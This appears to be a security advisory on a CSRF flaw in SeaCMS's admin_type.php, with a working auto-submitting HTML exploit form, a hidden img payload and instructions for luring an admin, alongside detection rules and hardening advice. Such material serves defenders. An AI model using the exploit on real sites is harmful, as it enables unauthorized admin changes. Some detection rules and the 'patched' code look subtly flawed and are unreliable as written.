CVE-2025-6864

Executive Summary

CVE-2025-6864 is a Cross-Site Request Forgery (CSRF) vulnerability identified in SeaCMS versions up to 13.2. The flaw resides in the /admin_type.php file, allowing an attacker to perform unauthorized administrative actions on behalf of an authenticated administrator. The attack vector is network-based, requires user interaction (the admin must visit a malicious page), and has a CVSS v3.1 base score of 4.3 (Medium). No official patch has been released by the vendor, and a public exploit is available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a crafted page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – The attacker can modify data (e.g., add/delete categories) but not all data.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and public exploit code makes it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the administrative interface of SeaCMS. The /admin_type.php endpoint handles operations such as adding, editing, or deleting content types (e.g., movie categories). The application does not implement anti-CSRF tokens (e.g., nonces) or origin/referrer header checks. Therefore, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a forged request to /admin_type.php with attacker-controlled parameters.

Attack Flow:

1. The attacker identifies a SeaCMS admin session (e.g., via a phishing email or forum post).
2. The attacker creates a page containing an auto-submitting form or an <img> tag pointing to the vulnerable endpoint.
3. The victim (admin) visits the malicious page while logged into SeaCMS.
4. The browser sends the forged request with the victim’s session cookies.
5. The server processes the request, performing the attacker’s desired action (e.g., deleting a category, adding a malicious type).

Impact: An attacker can manipulate content types, potentially leading to defacement, data corruption, or further exploitation if the type field is used in other vulnerable functions (e.g., stored XSS).

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in /admin_type.php. A secure implementation would include:

Vulnerable (Conceptual):

// admin_type.php
if ($_POST['action'] == 'add') {
    $type_name = $_POST['type_name'];
    $sql = "INSERT INTO sea_types (name) VALUES ('$type_name')";
    mysqli_query($conn, $sql);
}

Patched (Conceptual):

// admin_type.php
session_start();
if ($_POST['action'] == 'add') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $type_name = mysqli_real_escape_string($conn, $_POST['type_name']);
    $sql = "INSERT INTO sea_types (name) VALUES ('$type_name')";
    mysqli_query($conn, $sql);
}

The patch adds a CSRF token check and input sanitization.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running SeaCMS instance (up to 13.2) with an active admin session.
• Ability to host a malicious HTML page or inject into a trusted site.

Exploit Code (HTML):

<html>
<body>
<form action="http://target.com/admin_type.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="delete">
    <input type="hidden" name="type_id" value="1">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Usage:

1. Host the above HTML on a server you control (e.g., attacker.com/exploit.html).
2. Send the link to the target admin via email or social engineering.
3. When the admin clicks the link while logged into SeaCMS, the form auto-submits, deleting the type with ID 1.

Advanced Payload (using XSS if available):

<img src="http://target.com/admin_type.php?action=add&type_name=MaliciousType" style="display:none;" />

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /admin_type.php with missing or invalid Referer headers.
• Alert on multiple rapid changes to content types from a single IP.

Hardening:

• Implement CSRF tokens in all admin forms.
• Validate the Origin and Referer headers.
• Use SameSite cookies (set to Lax or Strict).
• Restrict admin access to trusted IPs or VPN.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin_type.php with parameters like action=delete, action=add, action=edit.
  • Referer header missing or pointing to an external domain.
• Host:
  • Unexpected entries in the sea_types database table.
  • Log entries showing admin actions without corresponding UI interaction.
• File:
  • Modified /admin_type.php file (if attacker uploads a backdoor).

Detection Engineering

YARA Rule

rule CVE_2025_6864_SeaCMS_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against SeaCMS admin_type.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6864"
    strings:
        $s1 = "admin_type.php" nocase
        $s2 = "action=delete" nocase
        $s3 = "action=add" nocase
        $s4 = "action=edit" nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: SeaCMS CSRF Exploitation via admin_type.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to SeaCMS admin_type.php with suspicious parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin_type.php'
        cs-uri-query|contains|any:
            - 'action=delete'
            - 'action=add'
            - 'action=edit'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6864 SeaCMS CSRF Attempt"; flow:to_server; content:"POST"; http_method; content:"admin_type.php"; http_uri; content:"action="; http_client_body; pcre:"/(delete|add|edit)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable admin access from the internet or restrict to trusted IPs.
2. Implement CSRF tokens manually in /admin_type.php and all other admin endpoints.
3. Add SameSite cookie attribute to session cookies (set to Lax or Strict).
4. Validate HTTP Referer header to ensure requests originate from the same site.

Long-term Fix:

• Upgrade to a patched version of SeaCMS once released (monitor vendor channels).
• Conduct a full security audit of the admin interface.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /admin_type.php with missing or external Referer headers.

Valters IT